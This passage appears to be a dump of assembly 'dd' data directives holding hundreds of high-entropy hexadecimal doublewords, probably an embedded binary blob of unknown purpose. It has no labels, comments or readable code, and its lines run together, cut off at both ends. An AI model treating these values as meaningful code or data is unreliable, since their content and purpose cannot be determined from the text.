0C00BBCh, 0F8536962h, 1F27D929h dd 5DE2F722h, 606F5446h, 9F2D9880h, 0CC436EA8h, 0B211C30h dd 7B012D81h, 3F178EF5h, 0CC47A7C3h, 351A9D1h, 0E0BAEC30h dd 0BD3046Dh, 0D0E59599h, 54E932ACh, 3B7870B8h, 6D4CE21Ch dd 0FAA51F40h, 60E19487h, 2F174189h, 58C0C16Ah, 4B6DE705h dd 0E036F815h, 0AEEC24D9h, 0BD3F8020h, 0CA3AFE76h, 271B2901h dd 704517C5h, 9BD220E0h, 0FAF80104h, 18552D1Ah, 0D300EB65h dd 6E76FB30h, 25015100h, 19942349h, 5E0202A7h, 72D92B1Bh dd 3FE47845h dd 16FCCA60h, 90D09400h, 1599D778h, 93FB166Ch, 10447BEBh dd 8B821EF3h, 0A11F6785h, 71AE1620h, 8B83DB44h, 0A988EFF0h dd 0A2780E30h, 0E051D815h, 40C75648h, 1904C920h, 0EB398F37h dd 30DE80C8h, 0E25066C4h, 89004A2Ch, 12CC82A6h, 28C251DFh dd 0E0AA28h, 20CBB28Ch, 47A59270h, 70D22934h, 0C84FF8C2h dd 924E4B94h, 118C073Ch, 501BA9CAh, 0BCB3CD78h, 140B1702h dd 62965BDCh, 8D144084h, 0B7A10708h, 8223DD11h, 0A4E1B1B6h dd 7FFAE493h, 62008CB8h, 917060CAh, 30BC12A8h, 0AB408DBEh dd 71DF1354h, 309F0429h, 0A6B3FD40h, 132B9078h, 1F27D44Ah dd 0AA5303F4h, 0E4C211A7h, 0C0256040h, 0A15F076h, 3B8C9AE8h dd 30383479h, 92F3B4C0h, 7ED20283h, 521C98AFh, 4725C940h dd 7CBFAD24h, 5028A515h, 0BC653114h, 0C00C1218h, 132C99ADh dd 4194451Bh, 0E1B40A20h, 68604C34h, 33262419h, 3F02B6A8h dd 2C471721h, 0B9071A0h, 22642F36h, 80404000h, 73623725h dd 4238E021h, 0D97C10A9h, 0E708A92Ch, 0E1723C42h, 0F1A821E4h dd 0A4E59838h, 9F0D2410h, 99120070h, 9D11A1D2h, 4148E550h dd 0A13038Dh, 481E6AD1h, 7CD8A651h, 7148A9C9h, 26EC3E5Eh dd 94FA8303h, 81002AA3h, 1F725813h, 0CFE741E1h, 44A07830h dd 24D92542h, 50073B28h, 1D7B9118h, 5C6D1E39h, 2F0A386Bh dd 40CC18DFh, 5837ED3Fh, 4F9D11C0h, 2E1F2CD6h, 116C19B6h dd 0EC600127h, 0D9FE4BADh, 57527600h, 1021BB30h, 0F6A93B55h dd 0DD3288D2h, 0C9852B0Bh, 15540038h, 0A207E80Ch, 0D0DC0234h dd 222503E6h, 53A0E4C3h, 866CF9A0h, 6A027819h, 400058E2h dd 72A6ECDFh, 406C44Bh, 0E9164C7h, 2BB02AEDh, 20059969h dd 6B868213h, 1D118481h, 2529D08Fh, 0FFD0CBE9h, 131695ACh dd 8004ED94h, 9F0A21F8h, 688CF840h, 6834C434h, 0FAB4032h dd 0C9191303h, 6C621901h, 0D21ECCAAh, 0AE154806h, 2AAC549Eh dd 0B8CA54ADh, 1025BCB2h, 4C7A3174h, 253F50D5h, 3C7240E0h dd 0E8049A9Eh, 7311946Dh, 10801C94h, 0EFAF315Eh, 41E70101h dd 829320Ch, 10E642D4h, 0C7171D3Eh, 1AB44124h, 5B20D311h dd 383D9204h, 7C0A0408h, 0DBF61F92h, 5B1D0191h, 101CEFAFh dd 6D2A3324h, 140850A1h, 76904B1Ch, 6D0FC15Eh, 3E2095D8h dd 0CD10F75h, 0E63660D5h, 0CEAE9435h, 289483D1h, 0DC621845h dd 199A6065h, 0A0922804h, 1C83D819h, 10CF89EEh, 0D15075AAh dd 28604210h, 48E08A2h, 0D59A920Fh, 40218A3Eh, 8C9761Ah dd 22C01C04h, 0CA18E752h, 940CA009h, 0DB141423h, 816448A2h dd 508A7799h, 0E02C2158h, 965200C6h, 723BD7BFh, 0ECA65844h dd 1FD93720h, 3EBDB8EFh, 5CFC08E8h, 86F50485h, 10807D45h dd 0B4546F29h, 42AD6301h, 1C303713h, 0BDA029Eh, 8BB7DCE4h dd 0FF882220h, 4D6C0952h, 0E4904B84h, 79331F4Fh, 1AB83838h dd 592C4C69h, 839C1041h, 4A016249h, 0C8C7BD2Fh, 70C178F5h dd 9C24A7FAh, 0E3760B6Dh, 0ACA9D930h, 0D0DC2804h, 8F3B3FF0h dd 29694360h, 0B033E74Ah, 2D990044h, 1BEEA6A7h, 710EA0C5h dd 8E9294DFh, 0E850607Ah, 3913C2B2h, 105D52B6h, 75078322h dd 78941E0Ch, 76D03941h, 228B34E0h, 48CC144Ch, 0E8DE51D9h dd 0D5D1008Ch, 617C2DB8h, 8E02022Bh, 26E90725h, 0F5BDE018h dd 21B6030Ch, 50B0ED1Ah, 0F447A9F9h, 4992A7Ch, 8945A01Ch dd 0EC91D993h, 1D10C40Fh, 0C9163AF3h, 24109920h, 0FAC40144h dd 27268752h, 489F79E9h, 8E56CCD9h, 0C18B6528h, 0F2FCA36Ch dd 0B9C1C321h, 11B894D0h, 38C0956Ah, 3B81FB52h, 16F71628h dd 0E1486638h, 708926Bh, 0D4E5C8C0h, 7AAA2C90h, 5F4C3A1Fh dd 0B05DCB0Eh, 5A04B25h, 0A07C5210h, 50A1A2C8h, 79A8403Ah dd 0ACA1200Ch, 0A6F8243Fh, 2B079972h, 0FE336E7h, 10A01923h dd 2BD24350h, 10B0A827h, 7872B07Ah, 0AD141C0Ah, 9380ECCCh dd 2144904Ch, 43147ADCh, 0A7B87BC2h, 11B63192h, 0C8710BCh dd 991F3A9Fh, 0D936A00h, 3552378Bh, 19331200h, 0DE8745E8h dd 9F0A038Ch, 0C2569255h, 0A22A790Ah, 260AA48Eh, 0E107F42Dh dd 0E0CED436h, 0EAA70A93h, 2BF83F0Fh, 34522486h, 417FC81Ah dd 0ADD62000h, 51D0D16Eh, 6D8E1EC8h, 3E50E44Bh, 0E2EC80FFh dd 7840B55Dh, 4BAF6309h, 0A298A105h, 30882052h, 1385311Fh dd 8D22302h, 3D82836h, 4AA220ADh, 4A811EA1h, 0DA47128Ch dd 35D14401h, 0B404C0B0h, 45356378h, 1C1D81C2h, 5977E837h dd 0B6303889h, 107F4187h, 8E433888h, 1344CA9h, 60525E4Bh dd 4498587Dh, 7C01AE73h, 5A2CA067h, 28E00C8Eh, 0ACF601A2h dd 0AD9F3592h, 706D4Bh, 0C4AB621Ah, 9156A0CEh, 29209978h dd 0ABC40941h, 84F8B4C7h, 81B47BA2h, 517EED88h, 0E7D03B58h dd 974690A6h, 5236A405h, 3CF0009Ah, 13EF253Fh, 0AC601AE2h dd 54815C80h, 4FB0CF9Ah, 0E363A560h, 0B8920D10h, 2C502503h dd 0BB889E34h, 7C8211h, 2792956Dh, 71C160F2h, 0A85CDE85h dd 0E023B6FDh, 0E5CC837Ah, 5C88A4ECh, 1388430Fh, 0A8A3490h dd 9880F1F7h, 7C99A167h, 0BB048C38h, 0FA9DB6F9h, 599E3881h dd 51DA8450h, 90DAF1B1h, 0F8AD088Ch, 49D91999h, 30A881EEh dd 0CC15B804h, 1E989F44h, 8B0FF70Ch, 370B06D6h, 57D0F910h dd 0D4B5A7Fh, 4641B700h, 600C18C8h, 10AA5213h, 0DD7E00D4h dd 1B5E0BCFh, 2EC4B51Ah, 0FCD04011h, 0A59F79h, 0DE6D75F8h dd 36FE0AA3h, 34A2B80h, 0CCB7EA09h, 1E2D22A8h, 816C8443h dd 67FB6D60h, 548C3DF2h, 3F8B466h, 0BB2BFB64h, 51FFB5ABh dd 80F14D92h, 298F3A58h, 0CE84107h, 0D6E94C75h, 0C02C0D18h dd 6781787Dh, 7EE840F0h, 0D9A1C410h, 1BAA2E03h, 887C798Ch dd 2D82B2CFh, 0E0976FCCh, 0C1815411h, 0FC7BFF1Dh, 2F002E08h dd 0B7AF3B0Eh, 0B09A11A7h, 0D98C063Ah, 183AE6E5h, 542E485Ah dd 0C121F610h, 829E286Bh, 0D167D4h, 13331B0Fh, 4599D5F4h dd 3905EE7Bh, 5F72FBDh, 0F03720E4h, 10026073h, 0C6EDD929h dd 0CE9834CFh, 0CF39E0C3h, 7DE33B9Ch, 0BD3E00C4h, 0DACDE2F7h dd 2500DFD4h, 0F2EB2BF3h, 0C9C7CB3h, 5BEEEC1Eh, 8300FC7Eh dd 41F042A3h, 0CDACA20h, 0D5A055E0h, 0F400A838h, 58EEA987h dd 1DBC4F89h, 50515Fh, 0A824E108h, 0AA037E1Fh, 0FDA0D7B4h dd 88F8AB31h, 1192DDh, 0C620E95Fh, 53E36581h, 0FC3D94EEh dd 0DEAE8005h, 0D4A86C7Fh, 0AAE4005Fh, 0DB198C01h, 58D8E32Bh dd 30C6F6B8h, 0D9983DEBh, 510084B3h, 0A842E32Ch, 60B83971h dd 7D0528A7h, 0A303AC9Eh, 0A60EF527h, 130830FCh, 9E453049h dd 0A1853C00h, 64EC7616h, 6FFE0099h, 9A181DDBh, 543BC783h dd 92D985E9h, 9C40BC16h, 67CC3248h, 456D0643h, 8152AE3h dd 0E221B96Eh, 4085CC6Ah, 1899C47Ah, 4953E10Bh, 4B339A0Ah dd 0F058109Bh, 94B9E8h, 7196C1A7h, 31BA424Ch, 1C43DF03h dd 0C038D14Dh, 0DC68BFh, 0F416A93Fh, 0B3CB55AAh, 4C596000h dd 62A30358h, 7ECF0097h, 8BF14B8Eh, 0F4005DB7h, 7A9E6AAEh dd 121363h, 3A592015h, 2180980Eh, 2D01E2E4h, 1CC2D15Eh dd 0A130F193h, 6DA006Bh, 96FAFB43h, 5A00BFA4h, 0C33036A0h dd 1A4163C2h, 104D6DB6h, 3A0A0418h, 316C3Eh, 85BA93E5h dd 7B2D510Bh, 7E7928h, 0F31523BCh, 0E7A25D0Ah, 0BBEB290Ch dd 840929BEh, 10929E22h, 11E98A79h, 0B511D26Fh, 28E7111Ah dd 51A3617Dh, 384F71Fh dd 0EA2907F1h, 70CE2FE8h, 0EDD5C2C0h, 2DEE3Bh, 43CCBA20h dd 2C3DC8h, 24AD92AAh, 0A35CD65Bh, 8E600760h, 339DB3h dd 0E24045DBh, 1E37ACC5h, 0C00A0503h, 0B0E31859h, 0AAFCD2h dd 2B0904FAh, 6310501Dh, 4C5A2F1Dh, 0D61B55C0h, 0D9B706h dd 40FB9087h, 0A8233ECBh, 25584500h, 275FB309h, 975A0019h dd 0C7D3485Eh, 0D000A522h, 42C4EA34h, 1F1AF3F1h, 803FBD70h dd 244E6E0Ah, 870048D8h, 51C060AFh, 1C971Bh, 0D3F53BB1h dd 1338AE54h, 0E70B8D00h, 1D537CC4h, 0D5370569h, 2FCAF8h dd 0DEB3D1DCh, 89EE467Ah, 9EA5053Bh, 0F00711E9h, 0C1C02386h dd 7AE253Eh, 0A0A46696h, 872A40C5h, 34124F10h, 321CEF44h dd 455C840h, 0FC49FDF0h, 0B5ECFE0Bh, 3682B6E0h, 0CA3A98A0h dd 9A27BD03h, 0A08E80F5h, 0C070E28h, 8C6D02B9h, 0B100FD10h dd 0F868EDDFh, 49C0FC5Eh, 7E0030D5h, 0C88D2C23h, 3500ED7Fh dd 7AAE7B0Fh, 0EBB23Ah, 0EC238774h, 7D6B3F8Eh, 0DDA29F0Ah dd 9194ACBDh, 824E00E4h, 0F30E825h, 164D0029h, 6EF85D56h dd 0FF053A1Eh, 899CB3FDh, 5055EC00h, 14099A2Ah, 0C4A561EBh dd 5B7D2300h, 543B65FDh, 0B89958CAh, 201B740Fh, 1BAE434h dd 0CE890029h, 41CD2B3Dh, 8A3CF912h, 0B26680FCh, 0B4AF2D2Ch dd 14391C54h, 0DE9A00D0h, 0A68A600Fh, 45367701h, 627332DBh dd 5BB4CD40h, 7C24F4CDh, 8FEAEh, 73B67470h, 6DC41621h dd 126A1305h, 0ABC086EEh, 0F9745683h, 3BCC8F8h, 6E149589h dd 0CB90F9BEh, 3439B036h, 0AF75034Bh, 0B2E205h, 0FBA95F11h dd 6BD7DBC0h, 3A7703Ah, 0F18AF7ACh, 779898BDh, 0A0F00E0h dd 0F3A08D30h, 6900F4E7h, 47CDA4ECh, 0B1EFFh, 6FA89C74h dd 0A55B6124h, 0A3FBEF00h, 0A4BCE6B0h, 8B3B0073h, 0C1D14856h dd 230171A6h, 99EA43FDh, 0A3308628h, 0D8F202AAh, 8DE7FC5Fh dd 14AFCA0h, 0B40F5990h, 47264B4Ch, 0DEA03563h, 1576FF83h dd 0C823F2B6h, 500C0E0Fh, 0D7941B20h, 0B704E734h, 0D1DD966h dd 213FDD40h, 9F07CE1Bh, 544003FCh, 75B00670h, 0E01F0FCDh dd 1600196Fh, 2EDDBDCCh, 30F28400h, 45FA55B4h, 7DE60048h dd 79855F88h, 0FB004D71h, 4F3E205Dh, 7A51309h, 301E0BFAh dd 939D4025h, 1C0064A1h, 947E66DAh, 0AC5A6Bh, 9603C8EEh dd 0D684837Ch, 0DAFEEA07h, 4511BB54h, 9820BAB0h, 47AA00C9h dd 10D86B41h, 4A3D6E08h, 7F2880F5h, 118B071h, 2A370AF4h dd 3F8ECAFh, 361C25C8h, 6DFB7AF8h, 76DA4A00h, 2C1401FEh dd 5421002Eh, 242AA573h, 0EA00C115h, 57173364h, 30A4D70h dd 49CEF512h, 8B8932Eh, 8F006F86h, 0AAFFC55Ah, 90EE5B66h dd 5EC700FDh, 8A0E88BBh, 0B10020ADh, 0A886E583h, 196BE2h dd 9BDE2EB8h, 2276D7ACh, 0BC581D00h, 0DDFF9637h, 0B8BAE511h dd 6197C780h, 0B8BBE8D3h, 0C6479E00h, 5DEC9483h, 0B67D18C8h dd 5B1C519Ch, 69CF3700h, 41DE6F97h, 92B00C53h, 0C207457h dd 635B5D1Ch, 3B2CD5C0h, 145F1F4Ch, 0DE28AB5Ch, 39383A00h dd 0CA148849h, 1AC08000h, 4C4AB00Ch, 0B5D30137h, 44A83EF8h dd 78DAF448h, 5B1C46F4h, 0D680F4A2h, 108085FBh, 0C262006Dh dd 0CA21425Ch, 0EA006C55h, 597D7908h, 2B75E0h, 696A9772h dd 0C6399C8h, 0C2195600h, 36C62CA1h, 0D1E81648h, 25A800F1h dd 132A8189h, 2EAD0400h, 751E4DC1h, 9892003Eh, 0A4F45AA8h dd 3013F7D3h, 9000CC3Ch, 0BA954B1Ah, 1B1400ACh, 0CC01162h dd 98796705h, 13068301h, 7C5B17CAh, 1B4DA8CFh, 8E840A65h dd 0E842EEh, 0A38845B4h, 5B000CB6h, 8A5C6C25h, 4C2E879h dd 0B4CDD4D1h, 648081B7h, 8983C858h, 803C683Fh, 3D100C7Bh dd 3CE997A9h, 34A6D0CAh, 0DF1A017Ch, 80946C95h, 55933A18h dd 836902h, 0D4F6DC74h, 47F8A3EAh, 63CCB00h, 0B5B4B26Ah dd 6D36073Eh, 0E0A54632h, 9D084976h, 0E33F9100h, 56D09B12h dd 369F0915h, 881F572h, 603AEC3Bh, 9B1322A0h, 0D4005E2Bh dd 0A1234FB1h, 8AFC481Dh, 44ED0602h, 9CC09889h, 0A80037E4h dd 2CDA79FDh, 1376EF33h, 4D35491h, 0C0A5CE21h, 0F340B478h dd 0A4F149h, 0EF7A27ABh, 0ACDE4Ch, 69174381h, 478F7B03h dd 630EE61Dh, 5771C080h, 17A7B8E7h, 73299Dh, 0E4C70C84h dd 0B5008539h, 0D45C5DD1h, 7088FEBAh, 3E0A7568h, 0E0806034h dd 0AD790DBBh, 0C424A286h, 9900973Dh, 0F69EA481h, 0FEF2005Eh dd 0F398C7FFh, 6F00A9EFh, 0E5B02A16h, 1DC6262Fh, 689B9AE4h dd 0B38700FBh, 4F98541Bh, 314E679Ch, 0C80FAA16h, 4B41806Dh dd 9A2F8Dh, 0E7BD3C44h, 59DA05B4h, 0D876B61Ch, 75C1B580h dd 0E6AFE02Dh, 0ED19001Bh, 72F96714h, 3300B84Ch, 58FB8734h dd 2511A7h, 2BF76FBEh, 83E97164h, 8F571600h, 3F6EB0B8h dd 129C002Ah, 0DAF61CA4h, 0EC9872EFh, 69262500h, 1B479A13h dd 4A45002Bh, 0E53118E2h, 0DE130FB4h, 0AC007B77h, 59EFF530h dd 3F74B0DDh, 0C00B528h, 46C6B84h, 0FD90EC7Ah, 2E95E300h dd 0ED822DA9h, 2B6100FAh, 6A6F79E0h, 5C941D4Fh, 99A74000h dd 737473Fh, 0B5420371h, 44CD30BFh, 541D096Bh, 0FF56A5ABh dd 60199500h, 14CEE175h, 8D39B4Dh, 2DE78403h, 0F98EDF7h dd 280AA670h, 0F86E626Bh, 1DA1740h, 0AFBB0FB1h, 0E7A75CA2h dd 9040A93Ch, 9508742h, 8C7532E0h, 1C540402h, 80B2516Eh dd 0EB2C3820h, 4008E2A5h, 0BA44465Ah, 98ED0180h, 0BE228789h dd 0DBBE20A8h, 6E191A03h, 0B0C540D5h, 982B6BFh, 783C13A1h dd 60162041h, 93009646h, 1B98AD38h, 160E751Ch, 476CE1A8h dd 30F9EA2Ch, 955AA4CEh, 0EE131F03h, 0E8385D67h, 3DCAA745h dd 9D80C32Ah, 7E70298Bh, 1539463Fh, 4FE48010h, 78C3F9C9h dd 280260CEh, 6E747C68h, 1074D7Dh, 54CCFA27h, 55AE7FD1h dd 26A6AFF4h, 1E8CDAAh, 0E789550h, 3AABCCCCh, 0F200BF7Eh dd 0EF1ECB64h, 1D2A305Ch, 0C0DFE04Dh, 0AD0374CEh, 3F50E9AAh dd 44000CC0h, 933EB71Fh, 0E8F2F5h, 75956294h, 0D6C15056h dd 3865EC00h, 0F89F7D98h, 7EB20035h, 10EB4B67h, 753B2431h dd 56B00358h, 0C84C7B80h, 0FDF540h, 7207E8C5h, 14B86F5Bh dd 1B87A200h, 0CC9B77A7h, 19E23D4Eh, 0E7F92Eh, 0F32F1286h dd 47006D4Ah, 95533CC4h, 3B4C7128h, 400857Ch, 0AED7A69Bh dd 72245DAFh, 0E300ED17h, 0EF6BB6A8h, 7E4EB82Ah, 0DE1E00E4h dd 0E2931F0Dh, 6E00DA90h, 0ED2363ACh, 0D6A19Eh, 0F6838E8Fh dd 0D522307Dh, 915E1F01h, 9E071971h, 1293DC20h, 315E19Ah dd 33C76C73h, 0A33AF9E0h, 706E03Ah, 64EF4472h, 1E894170h dd 5ABE00B2h, 52CD6207h, 7900821Bh, 28DC615Bh, 189F8E3h dd 9B2F6BB4h, 0E97E131Ch, 0EA2880B6h, 0A2F6C821h, 265C076Eh dd 87A0795Fh, 75C0EE44h, 87DB3AEFh, 0D3721913h, 343F40Eh dd 0C1D238E3h, 7470182Bh, 0BE020027h, 0FE10C478h, 173E191Ch dd 0EA6B0076h, 3E4E25DBh, 0B9E505B7h, 805EED98h, 2450B6D0h dd 0FC7B9600h, 0E310F07Fh, 14E0084h, 15773DEBh, 860AC925h dd 0BC6C0398h, 24702Fh, 9153B1E1h, 0BB605E6Eh, 78F7100h dd 0F5AADC55h, 95CC127Eh, 6FB840BEh, 803BE2C7h, 0B1590C00h dd 3CA5058Fh, 0A6AE0065h, 436473CEh, 0BC0C6AEFh, 68900B2Bh dd 343C098Bh, 645EBBC5h, 4F5CAB00h, 580B9Bh, 3CFD3ADAh dd 633F47C7h, 8DAA051Eh, 0CDF43830h, 0B868180Ch, 3082108Eh dd 0BD4A520Ch, 205798F8h dd 0D52772FCh, 0C124017Ch, 0ABC4514Eh, 50A100F4h, 115DE008h dd 3F002BD9h, 727880AFh, 544BD81h, 0A74A6DFFh, 17AB8C9h dd 5351F49Fh, 20212Bh, 0C07A01E9h, 0DAEA5E3Eh, 0ED07F434h dd 0D8000898h, 44B3AEFAh, 299FA5h, 4671D122h, 0F41EF725h dd 4E0181F0h, 2A423AF0h, 0A860F50Dh, 3B620071h, 0B91E8CBFh dd 0AF092F72h, 81DB5569h, 6797FFE8h, 19081C4h, 6202F9BEh dd 0F8BB5D61h, 0C4E0EBECh, 9A832326h, 0BC5C4100h, 0C49A8CAh dd 5BF055DCh, 350FB311h, 666D4454h, 97838C2h, 0ECB78A08h dd 59095C6Ch, 71505Fh, 75C2F3E8h, 9F3F00F0h, 0CF911D2Dh dd 0D4127C4Fh, 0A00033D6h, 685AB34Eh, 245F4E1h, 700A0ECCh dd 2870116Bh, 0D3C0F11Dh, 0F5956E80h, 2587B91h, 42E41225h dd 0BC689985h, 5600D7E2h, 0F13E7EADh, 0C7DFC6h, 7C8EB9C8h dd 370CFDD9h, 0AA359500h, 0D2F4A4F7h, 26F845h, 0F6D7A9ACh dd 5DC249E8h, 0A87A3Ch, 6A545205h, 7CE1B76h, 979A383Eh dd 0B8DE40F5h, 0D5132D68h, 0C8C1DBD9h, 0D8F09F6Eh, 7B6A004Fh dd 23038869h, 0F000A4F4h, 0B7E6DD05h, 1211CC8Dh, 0B1DEBC0h dd 9020910Dh, 6DF6F75h, 9289B01h, 61D559C4h, 0BD868480h dd 71896468h, 7F925E02h, 0E83484CCh, 287C87Ch, 18D3790h dd 9C4062B4h, 300CC16h, 3999AFA6h, 0E0AE57h, 189109C0h dd 0EEA9B9DDh, 3BAB471Eh, 80886440h, 43018Ch, 0EAAD495Ah dd 0FD3620E7h, 4E5EA8A0h, 0DE191600h, 241E32D6h, 6576012Eh dd 0E0A5B386h, 0F00AF356h, 0DE7E897Ah, 20669800h, 17C19DDh dd 0F0FEEE82h, 2005E059h, 0E97A63DCh, 79D60A00h, 0CE4BFB49h dd 362B0198h, 8873AFB4h, 2EBF42Fh, 0D0134800h, 0CEFF5503h dd 762B0051h, 0F7CA8BC5h, 47005442h, 4B65F492h, 50DF26C2h dd 35F8870h, 0D4E49C08h, 0CFA6187h, 0DEE2E8E0h, 9467F000h dd 10F89E82h, 0AB12010Dh, 31D70411h, 4BEF43D1h, 7B0011D6h dd 30663CCFh, 226502Eh, 4EBA1B55h, 0ACC006E6h, 1109AC03h dd 918FABD2h, 1C8C158h, 44414CCDh, 0E10D8105h, 0E0E80005h dd 0BD9AEDD9h, 0FC0C0304h, 0B4E0C031h, 3A0744B8h, 0A6FBCC1Dh dd 60078E6h, 7ABA51C1h, 0E8EE4C7Ch, 0AB188807h, 0E0ED74D1h dd 96005CBCh, 12DF3861h, 0E09D013Dh, 0E1E0926h, 0F1802357h dd 94B7F24Ch, 2F2B3F03h, 7686Eh, 0D5ADD6A0h, 9DA76A27h dd 5991DE00h, 337D54C2h, 5C2C001Ah, 0A5AF6EC7h, 0A60BB4E6h dd 8B98B06Ch, 3DDD00BBh, 510A875Dh, 0C0E4B90Bh, 30DC4CA5h dd 0F6B1AF00h, 6E1E1176h, 0B272DF00h, 1C0A6CB8h, 0B0E1009Ch dd 19D2F3D5h, 8C0904B4h, 8710FAADh, 80A669Ch, 6745C301h dd 71D41D27h, 0D7120477h, 0C8A70618h, 4700A530h, 0B0194838h dd 123A3722h, 0C0ED53FFh, 0C88DDE24h, 0B69D8500h, 68B9F7E5h dd 95E30760h, 0E06CAB8Eh, 0EDDF9CF5h, 2FF3C40Eh, 9F1CC18Ch dd 0D7F44C04h, 0EC7A0024h, 6DAA6652h, 0F207449Ch, 0B85540C4h dd 371B07F0h, 70B70B49h, 40150D0h, 0CD3E81EDh, 8FFFCB5h dd 0E64C8E1Dh, 0C21309C0h, 0D08203h, 16E25A2Ah, 0F045A597h dd 1D7438E5h, 654032ADh, 0E272631Eh, 35E61785h, 30E442C9h dd 0FD604275h, 0C8007B26h, 25C1B51Dh, 771A11h, 0D7BB1CC5h dd 69F3BF2Fh, 17424600h, 196323BCh, 3029060h, 30B9A651h dd 0DFD8EE5Ch, 92091BC3h, 4007425Ah, 49B0FAD4h, 790048E0h dd 15C85065h, 0C6034FA8h, 76EE6695h, 5F2100E1h, 75B7075Eh dd 0EA0E4FA6h, 83E3A8DDh, 750586F9h, 168C151h, 0F57D0A07h dd 254FD0BEh, 0E42C0400h, 0B0ADF0C3h, 0DDC000BCh, 16A63D5Dh dd 890C742Eh, 0B0D797FBh, 864BA0h, 226CDB48h, 880CC331h dd 5807551Fh, 0E60E19F5h, 93F0991Ch, 0DF0C2088h, 0A2270F4h dd 9DB2D1FAh, 0B1F20424h, 0B66D066Ah, 0DEEC40C1h, 42FAEA06h dd 217F2Eh, 8A869AF2h, 810E3F77h, 5CBA2A09h, 27805770h dd 0FC4B6B3h, 0E0076A0Eh, 2F5A8083h, 6C0BCAh, 0AD7047DCh dd 0F6F19203h, 7F2B5500h, 14736741h, 727FA07h, 0E48CEF82h dd 0A8E060B9h, 78982601h, 0C514FE00h, 20075938h, 560F6004h dd 9D8185D4h, 4D427004h, 0C907339h, 2E23CDE5h, 809CC40Dh dd 27164F40h, 92074B5Fh, 0D68E3AF3h, 68BF80BEh, 7BC02AAAh dd 0D0BE0036h, 748DFE59h, 0C300CE11h, 43D67CAh, 5948CBE4h dd 2D7C2C90h, 78878968h, 111EE0E5h, 6B00366Ch, 0DCDA7479h dd 0E2A4C1h, 0CF2F6881h, 80E57065h, 0A7291F64h, 11A69B21h dd 313D0BBh, 73D34484h, 44A96444h, 6744CE37h, 5E2F442Dh dd 44AFEC44h, 5C42D863h, 5B0410B6h, 76C2FA40h, 0EC7C306Eh dd 0B8B73Dh, 18F875CEh, 0EDAF4Dh, 0B254C404h, 1C490EAEh dd 0FC2ACC07h, 6A8023ECh, 1E306CE3h, 408EDA37h, 0D9F14353h dd 6E0011BBh, 9BCBA5CDh, 1F02FFFBh, 0BA9410h, 8E55B8D0h dd 1200C66Dh, 26BE8D48h, 0E813A840h, 4180F32Ch, 4F3B1D9Dh dd 0CF003FBCh, 3C44A0B2h, 0C5AA89h, 527B864h, 2D5FEF76h dd 8094CC38h, 0DF84254Ch, 60D5Ch, 2368A686h, 431E6B38h dd 1169AC00h, 808AA1B2h, 54590050h, 10A40F84h, 1602869Ch dd 0C8B22A3Ch, 9C05749h, 0A1C3663h, 1F001DBDh, 53D33F54h dd 8B5103C2h, 0A602111Ah, 10DD14D8h, 49EACC0Fh, 0A1C912h dd 372FA5F0h, 9AE400F9h, 0B2032BC8h, 9FF09E7Ah, 0A8049400h dd 8EA6D461h, 856F0040h, 1BAB0287h, 66FA9D33h, 83FC7F3Fh dd 8AC0486Eh, 0D0C8F1F8h, 5F928C40h, 0A77825h, 93C47AD8h dd 994630B2h, 52E98D03h, 0B0DDE35Eh, 5B15B1h, 58F18A4Fh dd 4649FCCEh, 818C1300h, 0A2D71680h, 174B03CAh, 876E6DAh dd 0D6E743B8h, 1C964600h, 0E3698134h, 0C52101A2h, 259E2CE1h dd 0EDAC2477h, 6FB44800h, 22F213D4h, 50E93ADBh, 8B03713Bh dd 73CFABF9h, 3C8232B8h, 2EFEE50Eh, 7E4283F5h, 9721C704h dd 0FEC5CAAh, 0F4C509B5h, 2C807269h, 0F5E5F358h, 54DBCF00h dd 4EC8F83Bh, 7D3C0F59h, 0F2E0D372h, 6F0D8CC7h, 25905F73h dd 3E06EF38h, 2F2A0777h, 0A38104F7h, 0E5E093AAh, 79B089h dd 604E2DF9h, 0F87FB1F0h, 0B8BB7C1Fh, 2EF45800h, 45B903h dd 996E4382h, 253604E3h, 84A067E0h, 441FB675h, 61428A70h dd 405309ADh, 68239Eh, 0CDCE5940h, 0F3458266h, 98EC3E09h dd 0FFB000D3h, 761CFC38h, 7AB019h, 7ADB8109h, 15D1C4D0h dd 3072D200h, 5B6E42A2h, 0ACE84CDAh, 0DDF9D500h, 0CAE2938Ah dd 0A1C7691Fh, 3A00AC68h, 2C49D1F2h, 4D38DCh, 1F371199h dd 6E5A5D4Eh, 3E84F33Eh, 0F6D88E0Ah, 3B42A05Fh, 18BC152Eh dd 80728199h, 8D7E7E4Fh, 0B10025FEh, 33756601h, 24AB44h dd 453F991Ah, 0AFD9FE35h, 0D860A300h, 8C4C61EBh, 4FA19h dd 999A92C1h, 824209F1h, 0C9280600h, 0D3DBC2D5h, 329D1F3Bh dd 2ADC801Dh, 71F7AD05h, 6E8BE907h, 4250118Eh, 39ED6B5Ah dd 0A802FCDEh, 89EB4FD3h, 16C70C40h, 7F18E9E4h, 58306563h dd 0AFCA006Bh, 4D9A3381h, 0A4BAC118h, 103F0224h, 3FFD01Eh dd 4EC66AE7h, 9F728093h, 751B046Fh, 0C0F881D3h, 0ED4C894Ah dd 39B81900h, 0F2994A70h, 0E4C401A0h, 5B617EF5h, 0CB302037h dd 6665AA00h, 0A8625209h, 1C9A00ADh, 0B8EFDBDCh, 0EA0078B5h dd 0E3A30210h, 0DA3BC0h, 0ACFC153Dh, 4D113BEh, 8A364600h dd 0D565ABA3h, 0F801002Bh, 6D62AD03h, 1BF6F066h, 34A02D00h dd 0A9EF2191h, 701800AFh dd 89AD1D23h, 0EA775DA6h, 0B20EBD00h, 80083A57h, 0FD32984Fh dd 14C6670h, 2F7B51AEh, 0D8ACF32Ah, 3B00057Ah, 1BF961EFh dd 1F452E5Bh, 82F19A2Ch, 0B752F40h, 0AB014C60h, 0C605BE0Ch dd 0B1FEC066h, 85F10000h, 0ACCCF5B6h, 0D7AA6B1Dh, 40D2FC0h dd 0BCD422h, 91E0162Bh, 0DDCF29C5h, 3B093679h, 80DEE91Bh dd 0EF0E064Ch, 35BD00A6h, 0ECFBC6C2h, 0E90188Dh, 58A58726h dd 16F6AD87h, 238AFAD0h, 39D9003Ah, 0A3E0FB30h, 0D31F730Ch dd 7EEE1BC8h, 0C05BE325h, 281C164Bh, 0E88F52h, 740B3403h dd 14B7DE35h, 1856AD03h, 90B90999h, 374008h, 5BE339FCh dd 492E95Dh, 74426B00h, 0ABD6DAE2h, 19400B7h, 0D7862CA3h dd 7200C00Ch, 0AE0757E8h, 0C82021h, 0A32622C3h, 33D51550h dd 9F04AD0Fh, 0CBF28055h, 94D421C1h, 6399000Ch, 0C4964D2h dd 55A88B07h, 9150E576h, 72D0E8B9h, 71E4160Fh, 0D79000D3h dd 